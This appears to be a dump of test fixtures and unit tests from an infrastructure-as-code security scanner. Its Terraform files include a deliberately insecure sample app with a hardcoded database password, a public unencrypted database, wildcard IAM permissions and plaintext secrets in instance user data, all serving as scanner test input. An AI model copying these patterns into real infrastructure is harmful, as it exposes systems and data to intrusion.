0\n}\n\nvariable \"number_of_computed_egress_cidr_blocks\" {\n  description = \"Number of IPv4 CIDR ranges to use on all computed egress rules\"\n  type        = number\n  default     = 0\n}\n\nvariable \"number_of_computed_egress_ipv6_cidr_blocks\" {\n  description = \"Number of IPv6 CIDR ranges to use on all computed egress rules\"\n  type        = number\n  default     = 0\n}\n\nvariable \"number_of_computed_egress_prefix_list_ids\" {\n  description = \"Number of prefix list IDs (for allowing access to VPC endpoints) to use on all computed egress rules\"\n  type        = number\n  default     = 0\n}\n"
  },
  {
    "path": "tests/terraform/graph/resources/variable_rendering/render_module_postgresql/versions.tf",
    "content": "terraform {\n  required_version = \">= 0.12.6, < 0.14\"\n\n  required_providers {\n    aws = \">= 2.42, < 4.0\"\n  }\n}\n"
  },
  {
    "path": "tests/terraform/graph/resources/variable_rendering/render_nested_modules/child/main.tf",
    "content": "output \"myoutput\" {\n  value = \"bar\"\n}\n"
  },
  {
    "path": "tests/terraform/graph/resources/variable_rendering/render_nested_modules/main.tf",
    "content": "provider \"aws\" {\n  profile    = var.aws_profile\n  region     = \"us-east-1\"\n  alias  = \"east1\"\n}\n\nlocals {\n  dummy_with_dash      = format(\"-%s\", var.dummy_1)\n  bucket_name          = var.bucket_name\n  x = {\n    y = \"z\"\n  }\n}\nresource \"aws_instance\" \"example\" {\n  ami           = local.ami_name\n  instance_type = module.child.myoutput\n}\n\nresource \"aws_s3_bucket\" \"template_bucket\" {\n  provider      = aws.east1\n  region        = var.region\n  bucket        = local.bucket_name\n  acl           = var.acl\n  force_destroy = true\n}\n\nresource \"aws_eip\" \"ip\" {\n    vpc = local.is_vpc\n    instance = aws_instance.example.id\n}\n\nlocals {\n\tis_vpc = true\n\tami_name = local.dummy_with_dash\n}\n\nmodule \"child\" {\n  source = \"./child\"\n}"
  },
  {
    "path": "tests/terraform/graph/resources/variable_rendering/render_nested_modules/outputs.tf",
    "content": "output \"bucket_acl\" {\n  value = aws_s3_bucket.template_bucket.acl\n\n  depends_on = [\n      aws_eip.ip\n  ]\n}\n"
  },
  {
    "path": "tests/terraform/graph/resources/variable_rendering/render_nested_modules/variables.tf",
    "content": "variable \"bucket_name\" {\n  default = {\n    val = \"MyBucket\"\n  }\n\n}\n\nvariable \"acl\" {\n  default = var.acl_default_value\n}\n\nvariable \"acl_default_value\" {\n  default = local.x.y\n}\n\nvariable \"region\" {\n  default = \"us-west-2\"\n}\n\nvariable \"aws_profile\" {\n  default = \"default\"\n}\n\nvariable \"dummy_1\" {\n  default = \"dummy_1\"\n}\n\n"
  },
  {
    "path": "tests/terraform/graph/resources/variable_rendering/render_terragoat_db_app/consts.tf",
    "content": "data \"aws_caller_identity\" \"current\" {\n  account_id = \"test_id\"\n}\n\nvariable \"company_name\" {\n  default = \"acme\"\n}\n\nvariable \"environment\" {\n  default = \"dev\"\n}\n\nlocals {\n  resource_prefix = {\n    value = \"${data.aws_caller_identity.current.account_id}-${var.company_name}-${var.environment}\"\n  }\n}\n\n\n\nvariable \"profile\" {\n  default = \"default\"\n}\n\nvariable \"region\" {\n  default = \"us-west-2\"\n}\n\nvariable \"availability_zone\" {\n  type    = \"string\"\n  default = \"us-west-2a\"\n}\n\nvariable \"availability_zone2\" {\n  type    = \"string\"\n  default = \"us-west-2b\"\n}\n\n\nvariable ami {\n  type    = \"string\"\n  default = \"ami-09a5b0b7edf08843d\"\n}\n\nvariable \"dbname\" {\n  type        = \"string\"\n  description = \"Name of the Database\"\n  default     = \"db1\"\n}\n\nvariable \"password\" {\n  type        = \"string\"\n  description = \"Database password\"\n  default     = \"Aa1234321Bb\"\n}\n\nvariable \"neptune-dbname\" {\n  type        = \"string\"\n  description = \"Name of the Neptune graph database\"\n  default     = \"neptunedb1\"\n}"
  },
  {
    "path": "tests/terraform/graph/resources/variable_rendering/render_terragoat_db_app/main.tf",
    "content": "resource \"aws_db_instance\" \"default\" {\n  name                   = var.dbname\n  engine                 = \"mysql\"\n  option_group_name      = aws_db_option_group.default.name\n  parameter_group_name   = aws_db_parameter_group.default.name\n  db_subnet_group_name   = aws_db_subnet_group.default.name\n  vpc_security_group_ids = [\"${aws_security_group.default.id}\"]\n\n  identifier              = \"rds-${local.resource_prefix.value}\"\n  engine_version          = \"8.0\" # Latest major version\n  instance_class          = \"db.t3.micro\"\n  allocated_storage       = \"20\"\n  username                = \"admin\"\n  password                = var.password\n  apply_immediately       = true\n  multi_az                = false\n  backup_retention_period = 0\n  storage_encrypted       = false\n  skip_final_snapshot     = true\n  monitoring_interval     = 0\n  publicly_accessible     = true\n\n  tags = {\n    Name        = \"${local.resource_prefix.value}-rds\"\n    Environment = local.resource_prefix.value\n  }\n\n  # Ignore password changes from tf plan diff\n  lifecycle {\n    ignore_changes = [\"password\"]\n  }\n}\n\nresource \"aws_db_option_group\" \"default\" {\n  engine_name              = \"mysql\"\n  name                     = \"og-${local.resource_prefix.value}\"\n  major_engine_version     = \"8.0\"\n  option_group_description = \"Terraform OG\"\n\n  tags = {\n    Name        = \"${local.resource_prefix.value}-og\"\n    Environment = local.resource_prefix.value\n  }\n}\n\nresource \"aws_db_parameter_group\" \"default\" {\n  name        = \"pg-${local.resource_prefix.value}\"\n  family      = \"mysql8.0\"\n  description = \"Terraform PG\"\n\n  parameter {\n    name         = \"character_set_client\"\n    value        = \"utf8\"\n    apply_method = \"immediate\"\n  }\n\n  parameter {\n    name         = \"character_set_server\"\n    value        = \"utf8\"\n    apply_method = \"immediate\"\n  }\n\n  tags = {\n    Name        = \"${local.resource_prefix.value}-pg\"\n    Environment = local.resource_prefix.value\n  }\n}\n\nresource \"aws_db_subnet_group\" \"default\" {\n  name        = \"sg-${local.resource_prefix.value}\"\n  subnet_ids  = [\"${aws_subnet.web_subnet.id}\", \"${aws_subnet.web_subnet2.id}\"]\n  description = \"Terraform DB Subnet Group\"\n\n  tags = {\n    Name        = \"sg-${local.resource_prefix.value}\"\n    Environment = local.resource_prefix.value\n  }\n}\n\nresource \"aws_security_group\" \"default\" {\n  name   = \"${local.resource_prefix.value}-rds-sg\"\n  vpc_id = aws_vpc.web_vpc.id\n\n  tags = {\n    Name        = \"${local.resource_prefix.value}-rds-sg\"\n    Environment = local.resource_prefix.value\n  }\n}\n\nresource \"aws_security_group_rule\" \"ingress\" {\n  type              = \"ingress\"\n  from_port         = \"3306\"\n  to_port           = \"3306\"\n  protocol          = \"tcp\"\n  cidr_blocks       = [\"${aws_vpc.web_vpc.cidr_block}\"]\n  security_group_id = aws_security_group.default.id\n}\n\nresource \"aws_security_group_rule\" \"egress\" {\n  type              = \"egress\"\n  from_port         = 0\n  to_port           = 0\n  protocol          = \"-1\"\n  cidr_blocks       = [\"0.0.0.0/0\"]\n  security_group_id = \"${aws_security_group.default.id}\"\n}\n\n\n### EC2 instance\nresource \"aws_iam_instance_profile\" \"ec2profile\" {\n  name = \"${local.resource_prefix.value}-profile\"\n  role = \"${aws_iam_role.ec2role.name}\"\n}\n\nresource \"aws_iam_role\" \"ec2role\" {\n  name = \"${local.resource_prefix.value}-role\"\n  path = \"/\"\n\n  assume_role_policy = <<EOF\n{\n    \"Version\": \"2012-10-17\",\n    \"Statement\": [\n        {\n            \"Action\": \"sts:AssumeRole\",\n            \"Principal\": {\n               \"Service\": \"ec2.amazonaws.com\"\n            },\n            \"Effect\": \"Allow\",\n            \"Sid\": \"\"\n        }\n    ]\n}\nEOF\n\n  tags = {\n    Name        = \"${local.resource_prefix.value}-role\"\n    Environment = local.resource_prefix.value\n  }\n}\n\nresource \"aws_iam_role_policy\" \"ec2policy\" {\n  name = \"${local.resource_prefix.value}-policy\"\n  role = aws_iam_role.ec2role.id\n\n  policy = <<EOF\n{\n  \"Version\": \"2012-10-17\",\n  \"Statement\": [\n    {\n      \"Action\": [\n        \"s3:*\",\n        \"ec2:*\",\n        \"rds:*\"\n      ],\n      \"Effect\": \"Allow\",\n      \"Resource\": \"*\"\n    }\n  ]\n}\nEOF\n}\n\ndata \"aws_ami\" \"amazon-linux-2\" {\n  most_recent = true\n  owners      = [\"amazon\"]\n\n  filter {\n    name   = \"owner-alias\"\n    values = [\"amazon\"]\n  }\n\n  filter {\n    name   = \"name\"\n    values = [\"amzn2-ami-hvm-*-x86_64-ebs\"]\n  }\n}\n\nresource \"aws_instance\" \"db_app\" {\n  # ec2 have plain text secrets in user data\n  ami                  = data.aws_ami.amazon-linux-2.id\n  instance_type        = \"t2.nano\"\n  iam_instance_profile = aws_iam_instance_profile.ec2profile.name\n\n  vpc_security_group_ids = [\n  \"${aws_security_group.web-node.id}\"]\n  subnet_id = \"${aws_subnet.web_subnet.id}\"\n  user_data = <<EOF\n#! /bin/bash\n### Config from https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/CHAP_Tutorials.WebServerDB.CreateWebServer.html\nsudo yum -y update\nsudo yum -y install httpd php php-mysqlnd\nsudo systemctl enable httpd\nsudo systemctl start httpd\nsudo mkdir /var/www/inc\ncat << EnD > /tmp/dbinfo.inc\n<?php\ndefine('DB_SERVER', '${aws_db_instance.default.endpoint}');\ndefine('DB_USERNAME', '${aws_db_instance.default.username}');\ndefine('DB_PASSWORD', '${var.password}');\ndefine('DB_DATABASE', '${aws_db_instance.default.name}');\n?>\nEnD\nsudo mv /tmp/dbinfo.inc /var/www/inc\nsudo chown root:root /var/www/inc/dbinfo.inc\ncat << EnD > /tmp/index.php\n<?php include \"../inc/dbinfo.inc\"; ?>\n<html>\n<body>\n<h1>Sample page</h1>\n<?php\n  /* Connect to MySQL and select the database. */\n  \\$connection = mysqli_connect(DB_SERVER, DB_USERNAME, DB_PASSWORD);\n  if (mysqli_connect_errno()) echo \"Failed to connect to MySQL: \" . mysqli_connect_error();\n  \\$database = mysqli_select_db(\\$connection, DB_DATABASE);\n  /* Ensure that the EMPLOYEES table exists. */\n  VerifyEmployeesTable(\\$connection, DB_DATABASE);\n  /* If input fields are populated, add a row to the EMPLOYEES table. */\n  \\$employee_name = htmlentities(\\$_POST['NAME']);\n  \\$employee_address = htmlentities(\\$_POST['ADDRESS']);\n  if (strlen(\\$employee_name) || strlen(\\$employee_address)) {\n    AddEmployee(\\$connection, \\$employee_name, \\$employee_address);\n  }\n?>\n<!-- Input form -->\n<form action=\"<?PHP echo \\$_SERVER['SCRIPT_NAME'] ?>\" method=\"POST\">\n  <table border=\"0\">\n    <tr>\n      <td>NAME</td>\n      <td>ADDRESS</td>\n    </tr>\n    <tr>\n      <td>\n        <input type=\"text\" name=\"NAME\" maxlength=\"45\" size=\"30\" />\n      </td>\n      <td>\n        <input type=\"text\" name=\"ADDRESS\" maxlength=\"90\" size=\"60\" />\n      </td>\n      <td>\n        <input type=\"submit\" value=\"Add Data\" />\n      </td>\n    </tr>\n  </table>\n</form>\n<!-- Display table data. -->\n<table border=\"1\" cellpadding=\"2\" cellspacing=\"2\">\n  <tr>\n    <td>ID</td>\n    <td>NAME</td>\n    <td>ADDRESS</td>\n  </tr>\n<?php\n\\$result = mysqli_query(\\$connection, \"SELECT * FROM EMPLOYEES\");\nwhile(\\$query_data = mysqli_fetch_row(\\$result)) {\n  echo \"<tr>\";\n  echo \"<td>\",\\$query_data[0], \"</td>\",\n       \"<td>\",\\$query_data[1], \"</td>\",\n       \"<td>\",\\$query_data[2], \"</td>\";\n  echo \"</tr>\";\n}\n?>\n</table>\n<!-- Clean up. -->\n<?php\n  mysqli_free_result(\\$result);\n  mysqli_close(\\$connection);\n?>\n</body>\n</html>\n<?php\n/* Add an employee to the table. */\nfunction AddEmployee(\\$connection, \\$name, \\$address) {\n   \\$n = mysqli_real_escape_string(\\$connection, \\$name);\n   \\$a = mysqli_real_escape_string(\\$connection, \\$address);\n   \\$query = \"INSERT INTO EMPLOYEES (NAME, ADDRESS) VALUES ('\\$n', '\\$a');\";\n   if(!mysqli_query(\\$connection, \\$query)) echo(\"<p>Error adding employee data.</p>\");\n}\n/* Check whether the table exists and, if not, create it. */\nfunction VerifyEmployeesTable(\\$connection, \\$dbName) {\n  if(!TableExists(\"EMPLOYEES\", \\$connection, \\$dbName))\n  {\n     \\$query = \"CREATE TABLE EMPLOYEES (\n         ID int(11) UNSIGNED AUTO_INCREMENT PRIMARY KEY,\n         NAME VARCHAR(45),\n         ADDRESS VARCHAR(90)\n       )\";\n     if(!mysqli_query(\\$connection, \\$query)) echo(\"<p>Error creating table.</p>\");\n  }\n}\n/* Check for the existence of a table. */\nfunction TableExists(\\$tableName, \\$connection, \\$dbName) {\n  \\$t = mysqli_real_escape_string(\\$connection, \\$tableName);\n  \\$d = mysqli_real_escape_string(\\$connection, \\$dbName);\n  \\$checktable = mysqli_query(\\$connection,\n      \"SELECT TABLE_NAME FROM information_schema.TABLES WHERE TABLE_NAME = '\\$t' AND TABLE_SCHEMA = '\\$d'\");\n  if(mysqli_num_rows(\\$checktable) > 0) return true;\n  return false;\n}\n?>\nEnD\nsudo mv /tmp/index.php /var/www/html\nsudo chown root:root /var/www/html/index.php\nEOF\n  tags = {\n    Name = \"${local.resource_prefix.value}-dbapp\"\n  }\n}\n\noutput \"db_app_public_dns\" {\n  description = \"DB Public DNS name\"\n  value       = aws_instance.db_app.public_dns\n}\n\noutput \"db_endpoint\" {\n  description = \"DB Endpoint\"\n  value       = aws_db_instance.default.endpoint\n}"
  },
  {
    "path": "tests/terraform/graph/resources/variable_rendering/render_variable/main.tf",
    "content": "resource \"aws_s3_bucket\" \"template_bucket\" {\n  region        = var.region\n  bucket        = \"test_bucket_name\"\n  acl           = \"acl\"\n  force_destroy = true\n}\n\nresource \"aws_s3_bucket\" \"storage_bucket\" {\n  region        = \"us-west-2\"\n  bucket        = var.bucket_name\n  acl           = \"acl\"\n  force_destroy = true\n}"
  },
  {
    "path": "tests/terraform/graph/resources/variable_rendering/render_variable/variables.tf",
    "content": "variable \"region\" {\n  default = \"us-west-2\"\n}\n\nvariable \"bucket_name\" {\n  default = \"Storage bucket\"\n}"
  },
  {
    "path": "tests/terraform/graph/resources/variable_rendering/terraform-aws-eks-master/eks.tf",
    "content": "resource \"aws_eks_cluster\" \"tf_eks\" {\n  name     = local.cluster_name\n  role_arn = aws_iam_role.master.arn\n  version  = var.kubernetes_version\n\n  vpc_config {\n    security_group_ids = [aws_security_group.master.id]\n    subnet_ids         = aws_subnet.eks[*].id\n  }\n\n  tags = {\n    project = var.project\n  }\n\n  depends_on = [\n    aws_iam_role_policy_attachment.AmazonEKSClusterPolicy,\n    aws_iam_role_policy_attachment.AmazonEKSServicePolicy\n  ]\n}\n"
  },
  {
    "path": "tests/terraform/graph/resources/variable_rendering/terraform-aws-eks-master/variables.tf",
    "content": "variable \"region\" {\n  type        = string\n  description = \"AWS Region\"\n}\n\nvariable \"access_key\" {\n  type        = string\n  description = \"AWS Access Key\"\n}\n\nvariable \"secret_key\" {\n  type        = string\n  description = \"AWS Secret Key\"\n}\n\nvariable \"project\" {\n  type = string\n}\n\nvariable \"cluster_name\" {\n  type        = string\n  description = \"EKS name\"\n}\n\nvariable \"accessing_computer_ips\" {\n  type        = list(string)\n  description = \"cidr blocks\"\n}\n\nvariable \"number_of_subnets\" {\n  type        = number\n  default     = 2\n  description = \"Number of subnets\"\n}\n\nvariable \"iam_worker_instance_profile_name\" {\n  type        = string\n  default     = \"ipaas-eks-workers\"\n  description = \"IAM worker instance profile name\"\n}\n\nvariable \"kubeconfig_path\" {\n  type        = string\n  default     = \"./kubeconfig\"\n  description = \"Kubeconfig path\"\n}\n\nvariable \"create_kubeconfig\" {\n  type        = bool\n  default     = true\n}\n\nvariable \"kubernetes_version\" {\n  type        = string\n  default     = \"1.19\"\n  description = \"EKS kubernetes version.\"\n}\n\nvariable \"node_groups\" {\n  type = list(object({\n    name          = string\n    desired_size  = number\n    max_size      = number\n    min_size      = number\n    instance_type = string\n    # Opcionais\n    # ami_type  = string (Default: AL2_x86_64)\n    # disk_size = number (Default: 20)\n  }))\n  default = [\n    {\n      name          = \"example\"\n      desired_size  = 2\n      max_size      = 3\n      min_size      = 1\n      instance_type = \"t3.medium\"\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/terraform/graph/resources/variable_rendering/unrendered/main.tf",
    "content": "variable \"bucket_name\" {\n\n}\n\nvariable \"ebs_size\" {\n\n}\n\nresource \"aws_s3_bucket\" \"pass1\" {\n  bucket        = var.bucket_name\n}\n\nresource \"aws_s3_bucket\" \"pass2\" {\n  bucket        = \"${var.bucket_name}-abc\"\n}\n\nresource \"aws_s3_bucket\" \"pass3\" {\n  bucket        = \"abc-${var.bucket_name}\"\n}\n"
  },
  {
    "path": "tests/terraform/graph/runner/__init__.py",
    "content": ""
  },
  {
    "path": "tests/terraform/graph/runner/test_graph_builder.py",
    "content": "import json\nimport os\nfrom unittest import TestCase, mock\nfrom parameterized import parameterized_class\n\nfrom checkov.common.graph.db_connectors.networkx.networkx_db_connector import NetworkxConnector\nfrom checkov.common.graph.db_connectors.rustworkx.rustworkx_db_connector import RustworkxConnector\nfrom checkov.terraform.runner import Runner\n\nTEST_DIRNAME = os.path.dirname(os.path.realpath(__file__))\n\n@parameterized_class([\n   {\"db_connector\": NetworkxConnector},\n   {\"db_connector\": RustworkxConnector}\n])\nclass TestGraphBuilder(TestCase):\n    @mock.patch.dict(os.environ, {\"CHECKOV_NEW_TF_PARSER\": \"False\"})\n    def test_build_graph(self):\n        resources_path = os.path.join(os.path.dirname(os.path.dirname(__file__)), \"resources\", \"graph_files_test\")\n        source_files = [\"pass_s3.tf\", \"variables.tf\"]\n        runner = Runner(db_connector=self.db_connector())\n        report = runner.run(None, None, files=list(map(lambda f: f'{resources_path}/{f}', source_files)))\n        tf_definitions = runner.definitions\n        self.assertEqual(5, len(report.failed_checks))\n        for file, definitions in tf_definitions.items():\n            if file.file_path.endswith('pass_s3.tf'):\n                s3_bucket_config = definitions['resource'][0]['aws_s3_bucket']['bucket_with_versioning']\n                # Evaluation succeeded for included vars\n                self.assertTrue(s3_bucket_config['versioning'][0]['enabled'][0])\n                # Evaluation does not run for un-included vars\n                self.assertEqual(s3_bucket_config['server_side_encryption_configuration'][0]['rule'][0]['apply_server_side_encryption_by_default'][0]['sse_algorithm'][0], 'var.encryption')\n\n    def test_build_graph_new_tf_module(self):\n        resources_path = os.path.join(os.path.dirname(os.path.dirname(__file__)), \"resources\", \"graph_files_test\")\n        source_files = [\"pass_s3.tf\", \"variables.tf\"]\n        runner = Runner(db_connector=self.db_connector())\n        report = runner.run(None, None, files=list(map(lambda f: f'{resources_path}/{f}', source_files)))\n        tf_definitions = runner.definitions\n        self.assertEqual(5, len(report.failed_checks))\n        for file, definitions in tf_definitions.items():\n            if file.file_path.endswith('pass_s3.tf'):\n                s3_bucket_config = definitions['resource'][0]['aws_s3_bucket']['bucket_with_versioning']\n                # Evaluation succeeded for included vars\n                self.assertTrue(s3_bucket_config['versioning'][0]['enabled'][0])\n                # Evaluation does not run for un-included vars\n                self.assertEqual(s3_bucket_config['server_side_encryption_configuration'][0]['rule'][0]['apply_server_side_encryption_by_default'][0]['sse_algorithm'][0], 'var.encryption')\n\n    def test_run_clean(self):\n        resources_path = os.path.join(os.path.dirname(os.path.dirname(__file__)), \"resources\", \"graph_files_test\")\n        runner = Runner(db_connector=self.db_connector())\n        report = runner.run(root_folder=resources_path)\n        self.assertEqual(6, len(report.failed_checks))\n        self.assertEqual(5, len(report.passed_checks))\n        self.assertEqual(0, len(report.skipped_checks))\n\n    def test_module_and_variables(self):\n        resources_path = os.path.join(os.path.dirname(os.path.dirname(__file__)), \"resources\", \"modules-and-vars\")\n        runner = Runner(db_connector=self.db_connector())\n        report = runner.run(root_folder=resources_path)\n        self.assertLessEqual(2, len(report.failed_checks))\n        self.assertLessEqual(12, len(report.passed_checks))\n        self.assertEqual(0, len(report.skipped_checks))\n\n        found_versioning_failure = False\n\n        for record in report.failed_checks:\n            if record.check_id != 'CKV_AWS_40':\n                self.assertIsNotNone(record.breadcrumbs)\n            if record.check_id == 'CKV_AWS_21':\n                found_versioning_failure = True\n                bc = record.breadcrumbs.get('versioning.enabled')\n                self.assertEqual(len(bc), 2)\n                bc = bc[0]\n                self.assertEqual(bc.get('type'), 'module')\n                self.assertEqual(os.path.relpath(bc.get('path'), resources_path), 'examples/complete/main.tf')\n                self.assertEqual(record.resource, 'module.s3_bucket.aws_s3_bucket.default')\n\n        self.assertTrue(found_versioning_failure)\n"
  },
  {
    "path": "tests/terraform/graph/runner/test_runner.py",
    "content": "from pathlib import Path\n\nimport pytest\n\nfrom checkov.common.graph.db_connectors.networkx.networkx_db_connector import NetworkxConnector\nfrom checkov.common.graph.db_connectors.rustworkx.rustworkx_db_connector import RustworkxConnector\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\n\n@pytest.mark.parametrize(\n    \"graph_connector\",\n    [\n        NetworkxConnector,\n        RustworkxConnector\n    ]\n)\ndef test_dynamics(graph_connector):\n    # given\n    test_files_dir = Path(__file__).parent.parent / \"resources/dynamic_lambda_function\"\n\n    # when\n    report = Runner(db_connector=graph_connector()).run(\n        root_folder=str(test_files_dir),\n        runner_filter=RunnerFilter(\n            checks=[\n                \"CKV_AWS_45\",\n                \"CKV_AWS_116\",\n                \"CKV_AWS_173\",\n                \"CKV_AWS_272\",\n            ]\n        ),\n    )\n\n    # then\n    summary = report.get_summary()\n\n    assert summary[\"passed\"] == 2\n    assert summary[\"failed\"] == 2\n    assert summary[\"skipped\"] == 0\n    assert summary[\"parsing_errors\"] == 0\n"
  },
  {
    "path": "tests/terraform/graph/utils/__init__.py",
    "content": ""
  },
  {
    "path": "tests/terraform/graph/utils/test_utils.py",
    "content": "import pprint\nfrom typing import List, Tuple\nfrom unittest import TestCase\n\nfrom checkov.common.graph.graph_builder.graph_components.attribute_names import CustomAttributes\nfrom checkov.terraform.graph_builder.graph_components.block_types import BlockType\nfrom checkov.terraform.graph_builder.utils import get_referenced_vertices_in_value, \\\n    replace_map_attribute_access_with_dot, generate_possible_strings_from_wildcards, \\\n    attribute_has_nested_attributes\nfrom checkov.terraform.graph_builder.variable_rendering.vertex_reference import TerraformVertexReference\n\n\nclass TestUtils(TestCase):\n    def test_find_non_literal_values(self):\n        aliases = {'aws': {CustomAttributes.BLOCK_TYPE: BlockType.PROVIDER}}\n        str_value = 'aws.east1'\n        expected = [TerraformVertexReference(BlockType.PROVIDER, ['aws', 'east1'], 'aws.east1')]\n        self.assertEqual(expected, get_referenced_vertices_in_value(str_value, aliases, []))\n\n        str_values = [\n            'var.x',\n            'format(\"-%s\", var.x)',\n            '../child',\n            'aws_instance.example.id',\n            'bc_c_${var.customer_name}',\n            'aws iam delete-role --role-name ${local.role_name} --profile ${var.profile} --region ${var.region}',\n            'length(aws_vpc.main) > 0 ? aws_vpc.main[0].cidr_block : ${var.x}',\n        ]\n        expected = [\n            [TerraformVertexReference(BlockType.VARIABLE, ['x'], 'var.x')],\n            [TerraformVertexReference(BlockType.VARIABLE, ['x'], 'var.x')],\n            [],\n            [TerraformVertexReference(BlockType.RESOURCE, ['aws_instance.example', 'id'], 'aws_instance.example.id')],\n            [TerraformVertexReference(BlockType.VARIABLE, ['customer_name'], 'var.customer_name')],\n            [TerraformVertexReference(BlockType.LOCALS, ['role_name'], 'local.role_name'), TerraformVertexReference(BlockType.VARIABLE, ['profile'], 'var.profile'), TerraformVertexReference(BlockType.VARIABLE, ['region'], 'var.region')],\n            [TerraformVertexReference(BlockType.RESOURCE, ['aws_vpc.main'], 'aws_vpc.main'), TerraformVertexReference(BlockType.RESOURCE, ['aws_vpc.main', 'cidr_block'], 'aws_vpc.main.cidr_block'), TerraformVertexReference(BlockType.VARIABLE, ['x'], 'var.x')],\n        ]\n\n        for i in range(0, len(str_values)):\n            self.assertEqual(expected[i], get_referenced_vertices_in_value(str_values[i], aliases, ['aws_vpc', 'aws_instance']))\n\n    def test_replace_map_attribute_access_with_dot(self):\n        str_value = 'data.aws_availability_zones[\"available\"].names[1]'\n        replace_map_attribute_access_with_dot(str_value)\n        self.assertEqual('data.aws_availability_zones.available.names[1]', replace_map_attribute_access_with_dot(str_value))\n\n        str_value = 'data.aws_availability_zones[0].names[1]'\n        replace_map_attribute_access_with_dot(str_value)\n        self.assertEqual('data.aws_availability_zones[0].names[1]', replace_map_attribute_access_with_dot(str_value))\n\n\n    def test_generate_possible_strings_from_wildcards(self):\n        origin_string = \"a.*.b.*.c.*\"\n        expected_results = [\n            \"a.0.b.0.c.0\",\n            \"a.0.b.1.c.0\",\n            \"a.1.b.0.c.0\",\n            \"a.0.b.0.c.1\",\n            \"a.1.b.1.c.0\",\n            \"a.1.b.0.c.1\",\n            \"a.0.b.1.c.1\",\n            \"a.1.b.1.c.1\",\n            \"a.b.c\",\n        ]\n        expected_results.sort()\n        results = generate_possible_strings_from_wildcards(origin_string=origin_string, max_entries=2)\n        results.sort()\n        self.assertEqual(expected_results, results)\n\n    def test_find_var_blocks(self):\n        cases: List[Tuple[str, List[TerraformVertexReference]]] = [\n            (\n                \"${local.one}\",\n                [\n                    TerraformVertexReference(BlockType.LOCALS, sub_parts=[\"one\"], origin_value=\"local.one\")\n                ]\n            ),\n            (\n                \"${local.NAME[foo]}-${local.TAIL}${var.gratuitous_var_default}\",\n                [\n                    TerraformVertexReference(BlockType.LOCALS, sub_parts=[\"NAME\"], origin_value=\"local.NAME\"),\n                    TerraformVertexReference(BlockType.LOCALS, sub_parts=[\"TAIL\"], origin_value=\"local.TAIL\"),\n                    TerraformVertexReference(BlockType.VARIABLE, sub_parts=[\"gratuitous_var_default\"], origin_value=\"var.gratuitous_var_default\"),\n                ]\n            ),\n            # Ordered returning of sub-vars and then outer var.\n            (\n                \"${merge(local.common_tags,local.common_data_tags,{'Name': 'my-thing-${var.ENVIRONMENT}-${var.REGION}'})}\",\n                [\n                    TerraformVertexReference(BlockType.LOCALS, sub_parts=[\"common_tags\"], origin_value=\"local.common_tags\"),\n                    TerraformVertexReference(BlockType.LOCALS, sub_parts=[\"common_data_tags\"], origin_value=\"local.common_data_tags\"),\n                    TerraformVertexReference(BlockType.VARIABLE, sub_parts=[\"ENVIRONMENT\"],\n                                    origin_value=\"var.ENVIRONMENT\"),\n                    TerraformVertexReference(BlockType.VARIABLE, sub_parts=[\"REGION\"],\n                                    origin_value=\"var.REGION\"),\n                ],\n            ),\n            (\n                \"${merge(${local.common_tags},${local.common_data_tags},{'Name': 'my-thing-${var.ENVIRONMENT}-${var.REGION}'})}\",\n                [\n                    TerraformVertexReference(BlockType.LOCALS, sub_parts=[\"common_tags\"], origin_value=\"local.common_tags\"),\n                    TerraformVertexReference(BlockType.LOCALS, sub_parts=[\"common_data_tags\"],\n                                    origin_value=\"local.common_data_tags\"),\n                    TerraformVertexReference(BlockType.VARIABLE, sub_parts=[\"ENVIRONMENT\"],\n                                    origin_value=\"var.ENVIRONMENT\"),\n                    TerraformVertexReference(BlockType.VARIABLE, sub_parts=[\"REGION\"],\n                                    origin_value=\"var.REGION\"),\n                ],\n            ),\n            (\n                '${merge(var.tags, map(\"Name\", \"${var.name}\", \"data_classification\", \"none\"))}',\n                [\n                    TerraformVertexReference(BlockType.VARIABLE, sub_parts=[\"tags\"],\n                                    origin_value=\"var.tags\"),\n                    TerraformVertexReference(BlockType.VARIABLE, sub_parts=[\"name\"],\n                                    origin_value=\"var.name\"),\n                ]\n            ),\n            (\n                '${var.metadata_http_tokens_required ? \"required\" : \"optional\"}',\n                [\n                    TerraformVertexReference(BlockType.VARIABLE, sub_parts=[\"metadata_http_tokens_required\"],\n                                    origin_value=\"var.metadata_http_tokens_required\"),\n                ]\n            ),\n            (\n                '${local.NAME[${module.bucket.bucket_name}]}-${local.TAIL}${var.gratuitous_var_default}',\n                [\n                    TerraformVertexReference(BlockType.LOCALS, sub_parts=[\"NAME\"],\n                                    origin_value=\"local.NAME\"),\n                    TerraformVertexReference(BlockType.MODULE, sub_parts=[\"bucket\", \"bucket_name\"],\n                                    origin_value=\"module.bucket.bucket_name\"),\n                    TerraformVertexReference(BlockType.LOCALS, sub_parts=[\"TAIL\"],\n                                    origin_value=\"local.TAIL\"),\n                    TerraformVertexReference(BlockType.VARIABLE, sub_parts=[\"gratuitous_var_default\"],\n                                    origin_value=\"var.gratuitous_var_default\"),\n                ]\n            ),\n        ]\n        for case in cases:\n            actual = get_referenced_vertices_in_value(value=case[0], aliases={}, resources_types=[])\n            assert actual == case[1], \\\n                f\"Case \\\"{case[0]}\\\" failed ❌:\\n\" \\\n                f\"  Expected: \\n{pprint.pformat([str(c) for c in case[1]], indent=2)}\\n\\n\" \\\n                f\"  Actual: \\n{pprint.pformat([str(c) for c in actual], indent=2)}\"\n            print(f\"Case \\\"{case[0]}: ✅\")\n\n    def test__attribute_has_nested_attributes_dictionary(self):\n        attributes = {'name': ['${var.lb_name}'], 'internal': [True], 'security_groups': ['${var.lb_security_group_ids}'], 'subnets': ['${var.subnet_id}'], 'enable_deletion_protection': [True], 'tags': {'Terraform': True, 'Environment': 'sophi-staging'}, 'resource_type': ['aws_alb'], 'tags.Terraform': True, 'tags.Environment': 'sophi-staging'}\n        self.assertTrue(attribute_has_nested_attributes(attribute_key='tags', attributes=attributes))\n        self.assertFalse(attribute_has_nested_attributes(attribute_key='name', attributes=attributes))\n        self.assertFalse(attribute_has_nested_attributes(attribute_key='tags.Environment', attributes=attributes))\n\n    def test__attribute_has_nested_attributes_list(self):\n        attributes = {'most_recent': [True], 'filter': [{'name': 'name', 'values': ['amzn-ami-hvm-*-x86_64-gp2']}, {'name': 'owner-alias', 'values': ['amazon']}], 'filter.0': {'name': 'name', 'values': ['amzn-ami-hvm-*-x86_64-gp2']}, 'filter.0.name': 'name', 'filter.0.values': ['amzn-ami-hvm-*-x86_64-gp2'], 'filter.0.values.0': 